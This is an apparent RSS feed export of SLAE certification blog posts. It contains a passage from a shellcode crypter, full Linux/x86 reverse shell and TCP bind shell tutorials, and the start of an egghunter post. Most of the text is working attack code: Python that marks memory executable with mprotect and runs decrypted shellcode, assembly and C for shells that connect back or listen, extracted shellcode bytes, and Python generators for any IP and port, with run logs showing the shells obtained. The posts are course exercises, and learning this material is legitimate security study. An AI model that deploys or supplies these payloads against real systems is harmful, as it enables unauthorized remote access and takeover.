value2 = bytes(exec_shellcode,"ISO-8859-1")

byte_shellcode = value2.decode('unicode-escape').encode('ISO-8859-1')
print(byte_shellcode)

libc = CDLL('libc.so.6') #loading an external libc library
sc_addr = c_char_p(byte_shellcode)
size = len(byte_shellcode)
addr = c_void_p(libc.valloc(size) #dynamically allocate memory of shellcode size
memmove(addr, sc_addr, size) #move shellcode to known address allocated
libc.mprotect(addr, size, 0x7) # use mprotect to mark the memory as executable. ( similar to what we do @ROP)
run = cast(addr, CFUNCTYPE(c_void_p))
run() # jump to shellcode</pre>
<p>This Decrypter program takes two argument. one is the <strong>key</strong> to be used for decryption and <strong>encrypted shellcode</strong> (base 64) in string format. One of the interesting thing i learned doing this exercise is , how to execute shellcode  bypassing NX dynamically once decrypted. here we dynamically create a certain amount(shellcode size) of memory at run time and move the shellcode to the allocated memory using <strong>memmove </strong>function. We make use of  <strong>external libc library</strong> to utilize <strong>mprotect function, </strong>which helps us to <strong>mark the memory as executable</strong>. (which prevents execution by default) and finally jump to the shellcode which spawns a shell in this case.</p>
<p>lets execute and test :</p>
<pre>root@kali:~/slae_crypter# python3 decrypt.py -k "secret" -e "Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=="
Pycrypto AES-256 crypter

b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA=='
provided key :	 secret 
encoded shellcode :	 b'Ape8yDPlJg1QIK2x12Q6OlPVSIH29puCp/fViVXSfqFAzW3lycav8prlJR0T1Te7qs7SifLnMnYXKRLAxgl8Ar2ugV2hD2ymQh2Vgmm+v73UP2Ylqc+AGcmnN2h746SbjOFMpBALsRYzeqXiLO2qGA==' 
decoded shellcode....

\x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80
b')\xc0Ph//shh/bin\x89\xe3\x89\xc1\x99j\x0bX\xcd\x80'
# 
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-394" src="https://barriersec.com/wp-content/uploads/decrypt.png" alt="" width="1198" height="643" srcset="https://barriersec.com/wp-content/uploads/decrypt.png 1198w, https://barriersec.com/wp-content/uploads/decrypt-300x161.png 300w, https://barriersec.com/wp-content/uploads/decrypt-768x412.png 768w, https://barriersec.com/wp-content/uploads/decrypt-1024x550.png 1024w" sizes="(max-width: 1198px) 100vw, 1198px" /></p>
<p>WootWoot! a shell <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-custom-shellcode-crypter/">Linux/x86 Custom shellcode Crypter</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Linux/x86 Reverse Shell shellcode</title>
		<link>https://barriersec.com/2018/11/linux-x86-reverse-shell-shellcode/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Fri, 30 Nov 2018 23:31:55 +0000</pubDate>
				<category><![CDATA[Reverse Shell]]></category>
		<category><![CDATA[reverse_shell]]></category>
		<category><![CDATA[slae]]></category>
		<category><![CDATA[x86]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=357</guid>

					<description><![CDATA[<p>Hi All! Today we will look at how to implement a simple reverse shell in assembly language . Main objective&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-reverse-shell-shellcode/">Linux/x86 Reverse Shell shellcode</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All! Today we will look at how to implement a simple reverse shell in assembly language .</p>
<p><em><strong>Main objective :</strong></em></p>
<p><strong>Create a shell_Reverse_TCP shellcode .Reverse connects back to provided IP and port .  Port and IP should be easily configurable.</strong></p>
<p>I have explained how to call syscalls in assembly language in previous implementation of bind shell. Perhaps, this will be a bit easier task , as the operations involved will be less than for bind shell and many of the previous code can be reused. previous article can be found <a href="https://barriersec.com/category/slae/bind-shell/">here .</a></p>
<p>So lets begin !</p>
<p>lets split out the operations that are to be done for creation of a reverse TCP shell program.</p>
<ol>
<li>Create a socket</li>
<li>Connect back to the reverse listening host:port with the socket.</li>
<li>redirect the standard input,output and error to connected socket.</li>
<li>call execve to spawn a simple shell which finally results in reverse shell .</li>
</ol>
<p>Lets create a simple c program to implement these operations and use the same to map :</p>
<pre>#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;stdlib.h&gt;

int main()
{
	//create a socket
	int sock = socket(AF_INET, SOCK_STREAM, 0);

	
	struct sockaddr_in client_addr;
  client_addr.sin_family = AF_INET;
	
	//set port
	client_addr.sin_port = htons(4444);

	//set IP address to connect we use 127.1.1.1 because we do not want null in our IP
	client_addr.sin_addr.s_addr = inet_addr("127.1.1.1");
	
	
	//connects using the created sock to the properties set at client_addr
	connect(sock, (struct sockaddr *)&amp;client_addr, sizeof(client_addr));
		
	//redirect std input,output and error to created socket
	dup2(sock,0);
	dup2(sock,1);
	dup2(sock,2);

	// spawn a shell
	execve("/bin/sh", NULL, NULL);

}</pre>
<p>As specified from the steps ,code for creation of the socket remains the same. we make use of <strong>socketcall</strong> syscall with socket argument to achieve this operation.</p>
<pre>        xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKET_CALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax</pre>
<pre><b>int connect(int </b><i>sockfd</i><b>, const struct sockaddr *</b><i>addr</i><b>,</b>
                   <b>socklen_t </b><i>addrlen</i><b>);</b></pre>
<p>So in the next step, we can make use of Socketcall syscall with <strong>SYS_CONNECT</strong> to implement connect call. (value : <strong>3</strong> from net.h)</p>
<p>eax will contain syscall number for socketcall . ebx will contain value 3 and finally ecx contains a pointer to actual arguments to connect.</p>
<pre>        ;connect


	push 0x66
	pop eax ;syscall for socket_call

	push 0x3
	pop ebx ; SYS_CONNECT = 3 from /usr/include/linux/net.h

	
	push 0x0101017f	; reverse shell IP 
	push word 0x5c11  ;reverse shell port : 4444
	push word 0x2     ; AF_INET = PF_INET = 2
	mov edi, esp	; move top of the stack to edi to prepare struct
	push 0x10    ; size = 16
	push edi     ; push the pointer to created struct
	push esi    ;created sock
	mov ecx, esp   ;move top of the stack to ecx
	
	int 0x80 ; call system interrupt</pre>
<p>To push the IP we first convert the internet address to network order address and finally push it in reverse order.everything else is same as in previous post. make sure our IP address should not contain a null byte.</p>
<p>Now redirection of standard input , output and error can be done utilizing dup2 syscall.</p>
<pre>;redirect Input, output and error to created sock

	mov ebx,esi
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO
</pre>
<p>Finally we can spawn a shell utilizing execve syscall to call /bin/sh .</p>
<pre>; spawn a shell using execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80</pre>
<p>&nbsp;</p>
<p><strong>Complete Assembly code :</strong></p>
<pre>global _start
 
section .text
 
_start:

	xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKET_CALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax


	;connect


	push 0x66
	pop eax ;syscall for socket_call

	push 0x3
	pop ebx ; SYS_CONNECT = 3 from /usr/include/linux/net.h

	
	push 0x0101017f	; reverse shell IP 
	push word 0x5c11  ;reverse shell port : 4444
	push word 0x2     ; AF_INET = PF_INET = 2
	mov edi, esp	; move top of the stack to edi to prepare struct
	push 0x10    ; size = 16
	push edi     ; push the pointer to created struct
	push esi    ;created sock
	mov ecx, esp   ;move top of the stack to ecx
	
	int 0x80 ; call system interrupt 


	;redirect Input, output and error to created sock

	mov ebx,esi
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO

	; spawn a shell using execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80</pre>
<p>&nbsp;</p>
<p>Finally lets compile and extract shellcode and make sure it does not contain any NULL bytes.</p>
<pre>slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./compile.sh revv
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ objdump -d ./revv|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"</pre>
<p>&nbsp;</p>
<p>Now lets update our C template program ,compile and execute. ( netcat listener should be on port 4444  before execution.) <strong>netcat -nlvp 4444</strong></p>
<pre>#include&lt;stdio.h&gt;
#include&lt;string.h&gt;


unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";




main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	 
	int (*ret)() = (int(*)())code;

	ret();

}</pre>
<p>&nbsp;</p>
<pre>slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./shellcode
Shellcode Length:  78</pre>
<p>On our listener :</p>
<pre>slae@ubuntu:~$ nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from [127.0.0.1] port 4444 [tcp/*] accepted (family 2, sport 57640)
whoami
slae
id
uid=1000(slae) gid=1000(slae) groups=1000(slae),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),107(lpadmin),124(sambashare)</pre>
<p>WootWoot a reverse shell <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f600.png" alt="😀" class="wp-smiley" style="height: 1em; max-height: 1em;" /> so our first part is done. now we have to make our port and IP configurable to a custom value. here is a simple python script to do the same .</p>
<pre>#!/usr/bin/env python3
import sys
import struct
import socket


port = int(sys.argv[2])
IP = sys.argv[1]

if port &gt; 65535 :
    print("port cannot exceed 65535")
    exit()


port = struct.pack("!H", port)

port = ("{}".format(''.join('\\x{:02x}'.format(b) for b in port)))

if "\\x00" in port:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()

ip_final = socket.inet_aton(IP)
ip_final = str(ip_final) 
ip_final = ip_final[2:]
ip_final = ip_final[:-1]


if "\\x00" in ip_final:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()    

finalshellcode = """\\x31\\xd2\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\x6a\\x66\\x58\\x6a\\x03\\x5b\\x68%s\\x66\\x68%s\\x66\\x6a\\x02\\x89\\xe7\\x6a\\x10\\x57\\x56\\x89\\xe1\\xcd\\x80\\x89\\xf3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xb0\\x0b\\xcd\\x80""" % (ip_final,port)


print("shellcode : ",finalshellcode)</pre>
<p>&nbsp;</p>
<p>We can run this using :</p>
<pre>slae@ubuntu:~/Desktop/SLAE/assignments/assignment2$ ./custom.py 127.1.1.1 1234
shellcode :  \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x6a\x03\x5b\x68\x7f\x01\x01\x01\x66\x68\x04\xd2\x66\x6a\x02\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80</pre>
<p>we can replace this shellcode in our c template program and run to get the reverse shell for custom IP address and port value.</p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-reverse-shell-shellcode/">Linux/x86 Reverse Shell shellcode</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Linux/x86 TCP Bind Shell Shellcode</title>
		<link>https://barriersec.com/2018/11/linux-x86-tcp-bind-shell-shellcode/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Thu, 29 Nov 2018 22:01:55 +0000</pubDate>
				<category><![CDATA[bind shell]]></category>
		<category><![CDATA[slae]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=335</guid>

					<description><![CDATA[<p>Hi All! In this post, we will see how to implement a TCP bind shell in assembly program . Objective&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-tcp-bind-shell-shellcode/">Linux/x86 TCP Bind Shell Shellcode</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All! In this post, we will see how to implement a TCP bind shell in assembly program .</p>
<p><strong>Objective</strong> :</p>
<p><strong>1.create a TCP bind shell shellcode which binds to a port and execs shell on incoming connection.</strong></p>
<p><strong>2. port number should be easily configurable.</strong></p>
<p>So what actually is a bind shell?</p>
<p>bind shell is a type of shell , which opens up a remote port on a victim machine , listens for incoming connection, Once received , it  forwards standard output , standard input and standard error to the received socket and finally forks a command shell.</p>
<p>So to implement our bind TCP shell, we can split the operations as follows :</p>
<ol>
<li>create a socket .</li>
<li>bind the socket to its desired attributes.</li>
<li>listen for incoming connections.</li>
<li>accept the connection.</li>
<li>redirect standard input,output and error to client socket.</li>
<li>call execve to spawn a simple shell</li>
</ol>
<p>All credits to this awesome c reference for bind tcp shell :</p>
<p><a href="https://gist.github.com/geyslan/5176234"><strong>https://gist.github.com/geyslan/5176234</strong></a></p>
<p>So before looking at the implementation, few important locations to look at and its purpose.</p>
<ol>
<li>To look at the different syscall numbers associated with syscalls, we can refer this header in location : <strong>/usr/include/i386-linux-gnu/asm/unistd_32.h</strong></li>
<li>To look at few other things related to network handling part ( codes for bind , accept, socket )  can be found at : <strong>/usr/include/linux/net.h</strong></li>
<li>To look at socket handling part : <strong>/usr/include/i386-linux-gnu/bits/socket.h</strong></li>
</ol>
<p>calling system calls from  assembly program:</p>
<p>we can call different system calls from assembly program by calling an <strong>0x80</strong> interrupt . It expects the following contents in general purpose registers before the call.</p>
<p><strong>eax &#8211; syscall number</strong></p>
<p><strong>ebx- first argument</strong></p>
<p><strong>ecx-second argument</strong></p>
<p><strong>edx &#8211; third argument</strong></p>
<p>and so on.. and finally interrupt can be called using instruction</p>
<p><strong>int 0x80</strong></p>
<p>socket creation , binding and other operations can done with the help of <strong>socketcall</strong> syscall.</p>
<p>from its man page :</p>
<pre> <b>int socketcall(int </b><i>call</i><b>, unsigned long *</b><i>args</i><b>);</b></pre>
<p><strong>socketcall syscall number : 0x66</strong>(  102 in decimal )( from unistd_32.h)</p>
<p>This is pushed on to eax register before interrupt .</p>
<p>ebx contains call number which specifies the socket task at hand(create , bind ,accept , listen etc) which can be found at : net.h</p>
<p>finally ecx should contain the actual arguments for the  <strong>call</strong> function.</p>
<p>For creation of socket , we need to make use of <strong>SYS_SOCKET</strong> . For binding socket , <strong>SYS_BIND</strong> . For listening to incoming connections : <strong>SYS_LISTEN</strong> .For accepting connections <strong>SYS_ACCEPT</strong> . ( all call numbers can be found at net.h)</p>
<p>To redirect standard input , output and standard error to incoming connection , we can make use of dup2 syscall</p>
<p><strong>dup2(clientsock, [ 0 | 1 | 2 ] )</strong></p>
<p>syscall number : <strong>0x3f</strong>( from unistd_32.h)</p>
<p>so we need to call dup2 thrice to redirect standard input, output and error to client socket once connection is accepted.</p>
<p>And finally we make use of execve syscall to spawn a shell.</p>
<pre><b>int execve(const char *</b><i>filename</i><b>, char *const</b> <i>argv</i><b>[],
char *const</b> <i>envp</i><b>[]);</b></pre>
<p>syscall number : <strong>0xb</strong>( from unistd_32.h)</p>
<p>complete assembly code for the bind tcp shellcode ( listening on port 4444) with relevant comments :</p>
<pre>global _start
 
section .text
 
_start:
	xor edx,edx ; clear out edx
	; create socket
	push 0x66
	pop eax ; syscall for socketcall

	push 0x1 
	pop ebx ; SOCKETCALL from net.h = 1

	push edx ; push 0
	push ebx ; value of SOCK_STREAM = 1 got it from header /usr/src
	push 0x2 ; value 2 from /usr/include/i386-linux-gnu/bits/socket.h
	mov ecx,esp ; move ecx to top of the stack
	int 0x80 ; call interrupt


	; store returning socket in esi for further use
	mov esi,eax


	; bind
	
	mov al, 0x66	; socketcall (102)
	pop ebx		; SYS_BIND (2)
	push edx	; INADDRY_ANY (0)
	push word 0x5c11	; htons 4444
	push bx		; AF_INET=PF_INET (2)
	mov edi, esp	; store struct address in edi
	push 0x10	; size = 16
	push edi	; address of struct is pushed onto stack
	push esi	; socketfd
	mov ecx, esp	; point ecx to top of stack 
	int 0x80		; call interrupt
	
	 
	; listen
	
	push 0x66
	pop eax ; syscall for socketcall
	xor ebx,ebx
	mov bl,0x4 ; SYS_LISTEN = 4
	push edx
	push esi
	mov ecx,esp ; finally pointer to arugments stored in ecx
	int 0x80

	; accept

	
	push 0x66
	pop eax ; syscall for socketcall
	inc ebx ; SYS_ACCEPT = 5
	push edx
	push edx
	push esi
	mov ecx,esp ; finally pointer to arugments stored in ecx
	int 0x80

	
	 

	; redirect standard input , output , error to client sock

	mov ebx,eax ; store returned client socket in ebx. ( client sock in ebx )
	xor ecx,ecx
	mov cl,0x2 ; initialize counter to 2

	redirectIO:
		mov al, 0x3f
		int 0x80
		dec ecx
		jns redirectIO
		
		
	; execve /bin/sh

	push edx
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp		; /bin//sh
	mov ecx, edx	; NULL
	mov al, 0xb	 ; syscall for execve
	int 0x80</pre>
<p>Lets compile and generate shellcode from the binary :</p>
<p>&nbsp;</p>
<pre>slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ ./compile.sh btcp
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!
slae@ubuntu:~/Desktop/SLAE/assignments/assignment1$ objdump -d ./btcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80"</pre>
<p>Finally , we update our template C program :</p>
<pre>#include&lt;stdio.h&gt;
#include&lt;string.h&gt;


unsigned char code[] ="\x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5c\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80";
main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	
	int (*ret)() = (int(*)())code;

	ret();

}</pre>
<p>So lets compile and execute :</p>
<pre>$ ./shellcode</pre>
<p>on new terminal lets connect :</p>
<pre>slae@ubuntu:~$ netcat -nv 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
whoami
slae</pre>
<p>&nbsp;</p>
<p>We get our bind shell!</p>
<p>So for now , we have hardcoded our bind port. we need to make it configurable for custom port. For that, we can write a simple python script to accept a custom port and generate final shellcode :</p>
<pre>#!/usr/bin/env python3
import sys
import struct
from sys import argv

port = int(argv[1])
print(" Warning : for port num &lt; 1024 please exec as root")

if port &gt; 65535 :
    print("port &gt; 65535 please provide another port")
    exit()

port = struct.pack("!H", port)
port = ("{}".format(''.join('\\x{:02x}'.format(b) for b in port)))

if "\\x00" in port:
    print(" warning : NULL  byte detected! choose different port and rerun")
    exit()

finalshellcode = """\\x31\\xd2\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\xb0\\x66\\x5b\\x52\\x66\\x68%s\\x66\\x53\\x89\\xe7\\x6a\\x10\\x57\\x56\\x89\\xe1\\xcd\\x80\\x6a\\x66\\x58\\x31\\xdb\\xb3\\x04\\x52\\x56\\x89\\xe1\\xcd\\x80\\x6a\\x66\\x58\\x43\\x52\\x52\\x56\\x89\\xe1\\xcd\\x80\\x89\\xc3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xb0\\x0b\\xcd\\x80""" % (port)

print("shellcode : ",finalshellcode)</pre>
<pre>./custom.py 4445
 Warning : for port num &lt; 1024 please exec as root
shellcode :  \x31\xd2\x6a\x66\x58\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x5b\x52\x66\x68\x11\x5d\x66\x53\x89\xe7\x6a\x10\x57\x56\x89\xe1\xcd\x80\x6a\x66\x58\x31\xdb\xb3\x04\x52\x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xb0\x0b\xcd\x80</pre>
<p>This shellcode has to be replaced with original one from template program and finally run to get it working .</p>
<p>link to github repo for the code :</p>
<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>
<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>
<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>
<p>&nbsp;</p>
<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-tcp-bind-shell-shellcode/">Linux/x86 TCP Bind Shell Shellcode</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Linux/x86 EggHunter shellcode (SLAE assignment 3)</title>
		<link>https://barriersec.com/2018/11/linux-x86-egghunter-shellcode-slae-assignment-3/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 24 Nov 2018 12:26:33 +0000</pubDate>
				<category><![CDATA[EggHunter]]></category>
		<category><![CDATA[egghunter]]></category>
		<category><![CDATA[slae]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=313</guid>

					<description><![CDATA[<p>Hi All! Today we will look at how to solve third assignment, which is  really interesting topic i.e Egghunter shellcode.&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/11/linux-x86-egghunter-shellcode-slae-assignment-3/">Linux/x86 EggHunter shellcode (SLAE assignment 3)</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi All! Today we will look at how to solve third assignment, which is  really interesting topic i.e Egghunter shellcode.</p>
<p>Objective :</p>
<ol>
<li>Study about Egg hunter shellcode.</li>
<li>Create a working demo of Egg hunter shellcode.</li>
<li>Should be configurable for different payloads.</li>
</ol>
<p>Scenario : Suppose we find  buffer overflow vulnerability on an application and it so happens, we can control the Instruction pointer but we do not have enough reliable contigious space in available buffer to push our shellcode due to limited space . In such a scenario, Where do we push our shellcode and  get it working?</p>
<p>Solution :</p>
<p>Thats when an awesome concept called &#8220;EggHunter shellcode.&#8221; kicks in.</p>
<p>Egg hunter shellcode is a multi stage shellcode in which, its only task is to search the memory for actual second shellcode (exploit code) , jump to it and finally pass the control to the found second shellcode in the memory.</p>
<p>It reliably search and scan the complete memory for occurrence of a unique &#8220;tag&#8221; which is part of second stage shellcode.</p>
<p>Many thanks to this awesome research paper by skape on Egghunter :</p>
<p><a href="http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf">http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf</a></p>
<p>In this paper, scape explains three methods of implementing an egg hunter . first two involves using access sys call . and the third one involves sigaction syscall.</p>
<p>While an egghunter crawls the memory for known tag it may find one of these issues,</p>
<ol>
<li>Since we define this tag as part of initialized data section of our exploit program and also since Egghunter shellcode itself contains this tag , Egghunter may recognize its own tag ( since we give the tag for comparision in egg hunter pgm.) and may jump to wrong code.</li>
<li>There may be a chance , when we allocate memory for exploit shellcode dynamically using malloc/calloc ( which gets stored on heap), there are un mapped segments between different mapped memory segments , this results in program termination .(SIGSEGV).</li>
</ol>
<p>In order to solve first issue, we can make use of repeating tag twice in our final exploit code.</p>
<p>So our second stage shellcode is of format :</p>
<p><strong>tag+tag+shellcode</strong></p>
<p>In Order to solve the second issue, we can use any one of the methods provided by skape, using first and second method which involves <strong>access syscall</strong> , which returns <strong>EFAULT</strong> on finding such unmapped memory regions , instead of terminating the program.</p>
<p>Third method involves using <strong>sigaction</strong> <strong>systemcall</strong>.  This method is slightly more efficient than the previous methods, as in this , we can validate multiple address at the same time compared to previous methods.  But this method is not robust and may fail on certain circumstances.</p>
<p>In this post we will make use of <strong>access(2)</strong> revisited method as it seems better than  using sigaction with robustness in mind.</p>
<p>So lets  look at access system call from man page:</p>
<pre> <b>int access(const char *</b><i>pathname</i><b>, int </b><i>mode</i><b>);</b></pre>
